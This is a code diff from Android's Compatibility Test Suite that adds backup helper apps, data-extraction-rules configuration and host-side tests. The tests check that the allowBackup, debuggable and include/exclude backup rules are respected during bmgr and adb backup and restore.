--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.includeexcludeapp">
+
+    <application
+            android:label="DataExtractionRulesApplicabilityApp"
+            android:dataExtractionRules="@xml/data_extraction_rules"
+            android:fullBackupContent="@xml/full_backup_content">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.includeexcludeapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/res/xml/data_extraction_rules.xml b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/res/xml/data_extraction_rules.xml
new file mode 100644
index 0000000..05461cb
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/res/xml/data_extraction_rules.xml
@@ -0,0 +1,8 @@
+<data-extraction-rules>
+    <cloud-backup>
+        <exclude domain="file" path="backup_exclude"/>
+    </cloud-backup>
+    <device-transfer>
+        <exclude domain="file" path="transfer_exclude"/>
+    </device-transfer>
+</data-extraction-rules>
diff --git a/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/res/xml/full_backup_content.xml b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/res/xml/full_backup_content.xml
new file mode 100644
index 0000000..f47ea51
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/DataExtractionRulesApplicabilityApp/res/xml/full_backup_content.xml
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
+<full-backup-content>
+    <exclude domain="file" path="fbc_exclude"/>
+</full-backup-content>
\ No newline at end of file
diff --git a/hostsidetests/backup/includeexcludeapp/EncryptionAttributeApp/Android.bp b/hostsidetests/backup/includeexcludeapp/EncryptionAttributeApp/Android.bp
new file mode 100644
index 0000000..fd106e9
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/EncryptionAttributeApp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsEncryptionAttributeApp",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+        "CtsFullBackupRulesLib",
+    ],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/includeexcludeapp/EncryptionAttributeApp/AndroidManifest.xml b/hostsidetests/backup/includeexcludeapp/EncryptionAttributeApp/AndroidManifest.xml
new file mode 100644
index 0000000..a33cfa7
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/EncryptionAttributeApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.includeexcludeapp">
+
+    <application
+            android:label="EncryptionAttributeApp"
+            android:dataExtractionRules="@xml/data_extraction_rules">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.includeexcludeapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/includeexcludeapp/EncryptionAttributeApp/res/xml/data_extraction_rules.xml b/hostsidetests/backup/includeexcludeapp/EncryptionAttributeApp/res/xml/data_extraction_rules.xml
new file mode 100644
index 0000000..fd5261d
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/EncryptionAttributeApp/res/xml/data_extraction_rules.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<data-extraction-rules>
+    <cloud-backup disableIfNoEncryptionCapabilities="true">
+        <include domain="file" path="file_to_include"/>
+        <exclude domain="file" path="file_to_exclude"/>
+        <include domain="file" path="include_folder"/>
+        <exclude domain="file" path="include_folder/file_to_exclude"/>
+        <exclude domain="file" path="exclude_folder"/>
+        <include domain="file" path="exclude_folder/file_to_include"/>
+
+
+        <include domain="sharedpref" path="include_shared_pref1.xml"/>
+        <include domain="sharedpref" path="include_shared_pref2.xml"/>
+        <exclude domain="sharedpref" path="exclude_shared_pref1.xml"/>
+        <exclude domain="sharedpref" path="exclude_shared_pref2.xml"/>
+
+        <include domain="database" path="db_name/file_to_include"/>
+        <exclude domain="database" path="db_name/file_to_exclude"/>
+        <include domain="database" path="db_name/include_folder"/>
+        <exclude domain="database" path="db_name/include_folder/file_to_exclude"/>
+        <exclude domain="database" path="db_name/exclude_folder"/>
+        <include domain="database" path="db_name/exclude_folder/file_to_include"/>
+
+        <include domain="external" path="file_to_include"/>
+        <exclude domain="external" path="file_to_exclude"/>
+        <include domain="external" path="include_folder"/>
+        <exclude domain="external" path="include_folder/file_to_exclude"/>
+        <exclude domain="external" path="exclude_folder"/>
+        <include domain="external" path="exclude_folder/file_to_include"/>
+
+        <include domain="root" path="file_to_include"/>
+        <exclude domain="root" path="file_to_exclude"/>
+        <include domain="root" path="include_folder"/>
+        <exclude domain="root" path="include_folder/file_to_exclude"/>
+        <exclude domain="root" path="exclude_folder"/>
+        <include domain="root" path="exclude_folder/file_to_include"/>
+    </cloud-backup>
+</data-extraction-rules>
\ No newline at end of file
diff --git a/hostsidetests/backup/includeexcludeapp/FullBackupContentApp/Android.bp b/hostsidetests/backup/includeexcludeapp/FullBackupContentApp/Android.bp
new file mode 100644
index 0000000..cb2fb1e
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/FullBackupContentApp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsFullBackupContentApp",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "platform-test-annotations",
+        "CtsFullBackupRulesLib",
+    ],
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "arcts",
+        "cts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/backup/includeexcludeapp/FullBackupContentApp/AndroidManifest.xml b/hostsidetests/backup/includeexcludeapp/FullBackupContentApp/AndroidManifest.xml
new file mode 100644
index 0000000..afe4275
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/FullBackupContentApp/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.includeexcludeapp">
+
+    <application
+            android:label="FullBackupContentApp"
+            android:fullBackupContent="@xml/my_backup_rules">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.includeexcludeapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/includeexcludeapp/res/xml/my_backup_rules.xml b/hostsidetests/backup/includeexcludeapp/FullBackupContentApp/res/xml/my_backup_rules.xml
similarity index 100%
rename from hostsidetests/backup/includeexcludeapp/res/xml/my_backup_rules.xml
rename to hostsidetests/backup/includeexcludeapp/FullBackupContentApp/res/xml/my_backup_rules.xml
diff --git a/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/DataExtractionRulesApplicabilityTest.java b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/DataExtractionRulesApplicabilityTest.java
new file mode 100644
index 0000000..1f978fd
--- /dev/null
+++ b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/DataExtractionRulesApplicabilityTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.includeexcludeapp;
+
+import static androidx.test.InstrumentationRegistry.getTargetContext;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileWriter;
+import java.io.IOException;
+
+/**
+ * Device side routines to be invoked by the host side FullbackupRulesHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+@AppModeFull
+public class DataExtractionRulesApplicabilityTest {
+    private static final String BACKUP_EXCLUDE_FILE = "backup_exclude";
+    private static final String TRANSFER_EXCLUDE_FILE = "transfer_exclude";
+    private static final String FULL_BACKUP_CONTENT_EXCLUDE_FILE = "fbc_exclude";
+
+    private static final String[] TEST_FILES = new String[] {
+            BACKUP_EXCLUDE_FILE,
+            TRANSFER_EXCLUDE_FILE,
+            FULL_BACKUP_CONTENT_EXCLUDE_FILE
+    };
+
+    private Context mContext;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = getTargetContext();
+    }
+
+    @Test
+    public void createFiles() throws IOException {
+        for (String fileName : TEST_FILES) {
+            File testFile = new File(mContext.getFilesDir(), fileName);
+            // Make sure the file is non-empty, otherwise the transport will ignore it.
+            try (FileWriter fileWriter = new FileWriter(testFile)) {
+                fileWriter.write("test");
+                fileWriter.flush();
+            }
+        }
+    }
+
+    @Test
+    public void deleteFilesAfterBackup() throws IOException {
+        for (String fileName : TEST_FILES) {
+            new File(fileName).delete();
+        }
+    }
+
+    @Test
+    public void testOnlyBackupDataExtractionRulesAreApplied() {
+        ensureOnlyGivenFileIsExcluded(BACKUP_EXCLUDE_FILE);
+    }
+
+    @Test
+    public void testOnlyDeviceTransferDataExtractionRulesAreApplied() {
+        ensureOnlyGivenFileIsExcluded(TRANSFER_EXCLUDE_FILE);
+    }
+
+    private void ensureOnlyGivenFileIsExcluded(String excludedFile) {
+        for (String fileName : TEST_FILES) {
+            File file = new File(mContext.getFilesDir(), fileName);
+            if (fileName.equals(excludedFile)) {
+                assertThat(file.exists()).isFalse();
+            } else {
+                assertThat(file.exists()).isTrue();
+            }
+        }
+    }
+}
diff --git a/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
index 003a84f..5e35d26 100644
--- a/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
+++ b/hostsidetests/backup/includeexcludeapp/src/android/cts/backup/includeexcludeapp/IncludeExcludeTest.java
@@ -228,7 +228,8 @@
         }
     }
 
-    private void checkNoFilesExist() {
+    @Test
+    public void checkNoFilesExist() {
         for (File file: mIncludeFiles) {
             assertFalse("File did unexpectedly exist: " + file.getAbsolutePath(), file.exists());
         }
diff --git a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
deleted file mode 100644
index d8ceb0f..0000000
--- a/hostsidetests/backup/src/android/cts/backup/AllowBackupHostSideTest.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.cts.backup;
-
-import static org.junit.Assert.assertNull;
-
-import android.platform.test.annotations.AppModeFull;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import org.junit.After;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Test checking that allowBackup manifest attribute is respected by backup manager.
- *
- * Uses 2 apps that differ only by 'allowBackup' manifest attribute value.
- *
- * Tests 2 scenarios:
- *
- * 1. App that has 'allowBackup=false' in the manifest shouldn't be backed up.
- * 2. App that doesn't have 'allowBackup' in the manifest (default is true) should be backed up.
- *
- * The flow of the tests is the following:
- * 1. Install the app
- * 2. Generate files in the app's data folder.
- * 3. Run 'bmgr backupnow'. Depending on the manifest we expect either 'Success' or
- * 'Backup is not allowed' in the output.
- * 4. Uninstall/reinstall the app
- * 5. Check whether the files were restored or not depending on the manifest.
- *
- * Invokes device side tests provided by
- * android.cts.backup.backupnotallowedapp.AllowBackupTest.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-@AppModeFull
-public class AllowBackupHostSideTest extends BaseBackupHostSideTest {
-
-    private static final String ALLOWBACKUP_APP_NAME = "android.cts.backup.backupnotallowedapp";
-    private static final String ALLOWBACKUP_DEVICE_TEST_CLASS_NAME =
-            ALLOWBACKUP_APP_NAME + ".AllowBackupTest";
-
-    /** The name of the APK of the app that has allowBackup=false in the manifest */
-    private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
-
-    /** The name of the APK of the app that doesn't have allowBackup in the manifest
-     * (same as allowBackup=true by default) */
-    private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
-
-    @After
-    public void tearDown() throws Exception {
-        // Clear backup data and uninstall the package (in that order!)
-        clearBackupDataInLocalTransport(ALLOWBACKUP_APP_NAME);
-        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
-    }
-
-    @Test
-    public void testAllowBackup_False() throws Exception {
-        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
-
-        // Generate the files that are going to be backed up.
-        checkAllowBackupDeviceTest("createFiles");
-
-        getBackupUtils().backupNowAndAssertBackupNotAllowed(ALLOWBACKUP_APP_NAME);
-
-        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
-
-        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
-
-        checkAllowBackupDeviceTest("checkNoFilesExist");
-    }
-
-    @Test
-    public void testAllowBackup_True() throws Exception {
-        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
-
-        // Generate the files that are going to be backed up.
-        checkAllowBackupDeviceTest("createFiles");
-
-        // Do a backup
-        getBackupUtils().backupNowAndAssertSuccess(ALLOWBACKUP_APP_NAME);
-
-        assertNull(uninstallPackage(ALLOWBACKUP_APP_NAME));
-
-        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
-
-        checkAllowBackupDeviceTest("checkAllFilesExist");
-    }
-
-    private void checkAllowBackupDeviceTest(String methodName)
-            throws DeviceNotAvailableException {
-        checkDeviceTest(ALLOWBACKUP_APP_NAME, ALLOWBACKUP_DEVICE_TEST_CLASS_NAME,
-                methodName);
-    }
-
-}
diff --git a/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java
new file mode 100644
index 0000000..7993030
--- /dev/null
+++ b/hostsidetests/backup/src/android/cts/backup/BackupEligibilityHostSideTest.java
@@ -0,0 +1,222 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup;
+
+import static org.junit.Assert.assertNull;
+
+import android.platform.test.annotations.AppModeFull;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test verifying backup eligibility rules are respected.
+ *
+ * <p>Tests the following scenarios:
+ * <ol>
+ *   <li>App that has {@code allowBackup=false} in the manifest shouldn't be backed up by {@code
+ *       adb shell bmgr}.
+ *   <li>App that doesn't have {@code allowBackup} in the manifest (default is true) should be
+ *       backed up by {@code adb shell bmgr}.
+ *   <li>App that has {@code debuggable=true} in the manifest should be backed up by {@code adb
+ *       backup}.
+ *   <li>App that has {@code debuggable=false} in the manifest shouldn't be backed up by in
+ *       {@code adb backup}.
+ * </ol>
+ *
+ * <p>Invokes device side tests provided by
+ * {@link android.cts.backup.backupnotallowedapp.BackupEligibilityTest} and
+ * {@link android.cts.backup.adbbackupapp.AdbBackupApp}.
+ */
+@RunWith(DeviceJUnit4ClassRunner.class)
+@AppModeFull
+public class BackupEligibilityHostSideTest extends BaseBackupHostSideTest {
+    private static final String BACKUP_ELIGIBILITY_APP_NAME
+            = "android.cts.backup.backupeligibilityapp";
+    private static final String ADB_BACKUP_APP_NAME = "android.cts.backup.adbbackupapp";
+    private static final String BACKUP_ELIGIBILITY_DEVICE_TEST_CLASS_NAME =
+            BACKUP_ELIGIBILITY_APP_NAME + ".BackupEligibilityTest";
+    private static final String ADB_BACKUP_DEVICE_SIDE_CLASS_NAME =
+            ADB_BACKUP_APP_NAME + ".AdbBackupApp";
+    private static final String BACKUP_RESTORE_CONFIRMATION_PACKAGE = "com.android.backupconfirm";
+    private static final String ADB_BACKUP_FILE = "adb_backup_file.ab";
+
+    /** The name of the APK of the app that has allowBackup=false in the manifest */
+    private static final String ALLOWBACKUP_FALSE_APP_APK = "BackupNotAllowedApp.apk";
+
+    /** The name of the APK of the app that doesn't have allowBackup in the manifest
+     * (same as allowBackup=true by default) */
+    private static final String ALLOWBACKUP_APP_APK = "BackupAllowedApp.apk";
+
+    /** The name of the APK of the app that has {@code debuggable=false} in the manifest. */
+    private static final String DEBUGGABLE_FALSE_APP_APK = "NonDebuggableApp.apk";
+    /** The name of the APK of the app that has {@code debuggable=true} in the manifest. */
+    private static final String DEBUGGABLE_TRUE_APP_APK = "DebuggableApp.apk";
+    private static final String ADB_BACKUP_APP_APK = "AdbBackupApp.apk";
+
+    @After
+    public void tearDown() throws Exception {
+        // Clear backup data and uninstall the package (in that order!)
+        clearBackupDataInLocalTransport(BACKUP_ELIGIBILITY_APP_NAME);
+        assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code bmgr backupnow} and assert 'Backup is not allowed' is printed.
+     *   <li>Uninstall / reinstall the app
+     *   <li>Assert no files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAllowBackup_False() throws Exception {
+        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+        // Generate the files that are going to be backed up.
+        checkBackupEligibilityDeviceTest("createFiles");
+
+        getBackupUtils().backupNowAndAssertBackupNotAllowed(BACKUP_ELIGIBILITY_APP_NAME);
+
+        assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+
+        installPackage(ALLOWBACKUP_FALSE_APP_APK, "-d", "-r");
+
+        checkBackupEligibilityDeviceTest("checkNoFilesExist");
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app.
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code bmgr backupnow} and assert 'Success' is printed.
+     *   <li>Uninstall / reinstall the app.
+     *   <li>Assert the files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAllowBackup_True() throws Exception {
+        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+        // Generate the files that are going to be backed up.
+        checkBackupEligibilityDeviceTest("createFiles");
+
+        // Do a backup
+        getBackupUtils().backupNowAndAssertSuccess(BACKUP_ELIGIBILITY_APP_NAME);
+
+        assertNull(uninstallPackage(BACKUP_ELIGIBILITY_APP_NAME));
+
+        installPackage(ALLOWBACKUP_APP_APK, "-d", "-r");
+
+        checkBackupEligibilityDeviceTest("checkAllFilesExist");
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app.
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code adb backup}.
+     *   <li>Uninstall / reinstall the app.
+     *   <li>Run {@code adb restore}.
+     *   <li>Assert no files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAdbBackup_offForNonDebuggableApp() throws Exception {
+        installPackage(DEBUGGABLE_FALSE_APP_APK, "-d", "-r");
+
+        runAdbBackupAndRestore();
+
+        checkBackupEligibilityDeviceTest("checkNoFilesExist");
+    }
+
+    /**
+     * <ol>
+     *   <li>Install the app.
+     *   <li>Generate files inside the app's data folder.
+     *   <li>Run {@code adb backup}.
+     *   <li>Clear data for the app.
+     *   <li>Run {@code adb restore}.
+     *   <li>Assert the files have been restored.
+     * </ol>
+     */
+    @Test
+    public void testAdbBackup_onForDebuggableApp() throws Exception {
+        installPackage(DEBUGGABLE_TRUE_APP_APK, "-d", "-r");
+
+        runAdbBackupAndRestore();
+
+        checkBackupEligibilityDeviceTest("checkAllFilesExist");
+    }
+
+    private void runAdbBackupAndRestore() throws Exception {
+        installPackage(ADB_BACKUP_APP_APK, "-d", "-r");
+
+        try {
+            // Generate the files that are going to be backed up.
+            checkBackupEligibilityDeviceTest("createFiles");
+            runAdbCommand("backup", "-f", ADB_BACKUP_FILE, BACKUP_ELIGIBILITY_APP_NAME);
+            checkBackupEligibilityDeviceTest("deleteFilesAndAssertNoneExist");
+            runAdbCommand("restore", ADB_BACKUP_FILE);
+        } finally {
+            assertNull(uninstallPackage(ADB_BACKUP_APP_NAME));
+        }
+    }
+
+    private void checkBackupEligibilityDeviceTest(String methodName)
+            throws DeviceNotAvailableException {
+        checkDeviceTest(BACKUP_ELIGIBILITY_APP_NAME, BACKUP_ELIGIBILITY_DEVICE_TEST_CLASS_NAME,
+                methodName);
+    }
+
+    private void runAdbCommand(String... arguments) throws Exception {
+        ITestDevice device = getDevice();
+
+        try {
+            // Close the backup confirmation window in case there's already one floating around for
+            // any reason.
+            device.executeShellCommand("am force-stop " + BACKUP_RESTORE_CONFIRMATION_PACKAGE);
+        } catch (Exception e) {
+            CLog.w("Error while trying to force-stop backup confirmation: " + e.getMessage());
+            // Keep going
+        }
+
+        Thread restore = new Thread(() -> {
+            try {
+                device.executeAdbCommand(arguments);
+            } catch (Exception e) {
+                throw new RuntimeException(e);
+            }
+        });
+        restore.start();
+        runDeviceSideProcedure(ADB_BACKUP_APP_NAME, ADB_BACKUP_DEVICE_SIDE_CLASS_NAME,
+                /* procedureName */ "clickAdbBackupConfirmButton");
+        restore.join();
+    }
+
+    private void runDeviceSideProcedure(String packageName, String className,
+            String procedureName) throws Exception {
+        checkDeviceTest(packageName, className, procedureName);
+    }
+}
diff --git a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
index 51190e2c..8467272 100644
--- a/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/BaseBackupHostSideTest.java
@@ -84,6 +84,7 @@
                 getBackupUtils().isBackupEnabled());
         assertEquals("LocalTransport should be selected at this point", LOCAL_TRANSPORT,
                 getCurrentTransport());
+        mBackupUtils.wakeAndUnlockDevice();
     }
 
     protected BackupUtils getBackupUtils() {
@@ -144,11 +145,16 @@
         }
     }
 
-    private void setLocalTransportParameters(String parameters) throws Exception {
+    protected void setLocalTransportParameters(String parameters) throws Exception {
         getDevice().executeShellCommand("settings put secure backup_local_transport_parameters "
                 + parameters);
     }
 
+    protected String getLocalTransportParameters() throws DeviceNotAvailableException {
+        return getDevice().executeShellCommand(
+                "settings get secure backup_local_transport_parameters");
+    }
+
     protected void enableFakeEncryptionOnTransport() throws Exception {
         setLocalTransportParameters("fake_encryption_flag=true");
     }
diff --git a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
index 5416fe6..b1e0d8d 100644
--- a/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
+++ b/hostsidetests/backup/src/android/cts/backup/FullbackupRulesHostSideTest.java
@@ -21,11 +21,13 @@
 import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.util.BackupUtils;
+import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.log.LogUtil.CLog;
 
 import org.junit.After;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -49,10 +51,41 @@
             "android.cts.backup.includeexcludeapp";
     private static final String INCLUDE_EXCLUDE_DEVICE_TEST_CLASS_NAME =
             INCLUDE_EXCLUDE_TESTS_APP_NAME + ".IncludeExcludeTest";
+    private static final String DATA_EXTRACTION_RULES_APPLICABILITY_DEVICE_TEST_CLASS_NAME =
+            INCLUDE_EXCLUDE_TESTS_APP_NAME + ".DataExtractionRulesApplicabilityTest";
+
+    private static final String FULL_BACKUP_CONTENT_APP_APK = "CtsFullBackupContentApp.apk";
+    private static final String DATA_EXTRACTION_RULES_APP_APK = "CtsDataExtractionRulesApp.apk";
+    private static final String DATA_EXTRACTION_RULES_APPLICABILITY_APP_APK
+            = "CtsDataExtractionRulesApplicabilityApp.apk";
+    private static final String ENCRYPTION_ATTRIBUTE_APP_APK = "CtsEncryptionAttributeApp.apk";
+
+    private static final String BACKUP_ELIGIBILITY_RULES_FEATURE_FLAG
+            = "settings_use_new_backup_eligibility_rules";
+
+    private String originalLocalTransportParameters;
+    // Behaviour verified by this test is guarded by a feature flag. The test enables the flag at
+    // the beginning and restores its original value at the end.
+    private String mOriginalFeatureFlagValue;
+
+    @Before
+    public void setUp() throws Exception {
+        originalLocalTransportParameters = getLocalTransportParameters();
+        mOriginalFeatureFlagValue = getDevice().executeShellCommand("settings get global "
+                + BACKUP_ELIGIBILITY_RULES_FEATURE_FLAG);
+        setFeatureFlagValue("true");
+    }
 
     @After
     public void tearDown() throws Exception {
-        disableFakeEncryptionOnTransport();
+        setLocalTransportParameters(originalLocalTransportParameters);
+        setFeatureFlagValue(mOriginalFeatureFlagValue);
+        uninstallPackage(INCLUDE_EXCLUDE_TESTS_APP_NAME);
+    }
+
+    private void setFeatureFlagValue(String value) throws Exception {
+        getDevice().executeShellCommand("settings put global "
+                + BACKUP_ELIGIBILITY_RULES_FEATURE_FLAG + " " + value);
     }
 
     @Test
@@ -77,30 +110,102 @@
